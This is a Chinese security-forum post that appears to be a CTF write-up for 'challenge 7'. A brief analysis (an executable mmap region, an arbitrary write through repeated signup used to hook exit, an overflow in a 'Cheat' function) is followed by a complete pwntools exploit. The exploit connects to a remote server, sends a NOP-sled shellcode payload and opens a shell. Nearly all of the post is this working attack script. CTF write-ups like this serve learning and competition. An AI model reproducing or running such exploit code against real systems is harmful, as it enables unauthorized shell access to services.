首页
论坛
课程
招聘
[原创]第七题分析
2017-11-7 09:48 1181

[原创]第七题分析

2017-11-7 09:48
1181

mmap申请了一块具有执行权限的内存,埋下隐患。重复执行Signup会造成任意地址写,用来hook api; Cheat可以溢出,用于布shellcode。菜鸟一枚,还是直接贴代码吧
from pwn import *
context(arch = "amd64", os = "linux",log_level='debug')
#p = process('./pwn')
p = remote('123.206.22.95', 8888)
elf = ELF('./pwn')
def Signup(name,passwd,character):
    p.recvuntil('==============================\n')
    p.recvuntil('==============================\n')
    p.sendline('2')
    p.recvuntil('input your username\n')
    p.sendline(str(name))
    p.recvuntil('input your password\n')
    p.sendline(str(passwd))
    p.recvuntil("input your character's name\n")
    p.sendline(str(character))

def Login(name,passwd):
    p.recvuntil('==============================\n')
    p.recvuntil('==============================\n')
    p.sendline('1')
    p.recvuntil('Input your username:\n')
    p.sendline(str(name))
    p.recvuntil('Input your password:\n')
    p.sendline(str(passwd))

def Cheat(name,content):
    p.recvuntil('0.exit\n')
    p.sendline('5')
    p.recvuntil('name:\n')
    p.sendline(str(name))
    p.recvuntil('content:\n')
    p.sendline(str(content))
    p.recvuntil('0.exit\n')
    p.sendline('0')

   

def Cheat1(content):
    p.recvuntil('0.exit\n')
    p.sendline('5')
    p.recvuntil('content:\n')
    p.sendline(str(content))

    
payload=p32(0x90909090)*22+p64(0x4008eb)*4+p32(0x90909090)*10+asm(shellcraft.sh())+p32(0x90909090)*16

username=p64(0x605080)

Signup(username,'','')
Login(username,'')
Cheat('','')
#hook exit()
Signup(username,'','')
Login(username,'')
#exploit
Cheat1(payload)
p.interactive()


看雪侠者千人榜,看看你上榜了吗?

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回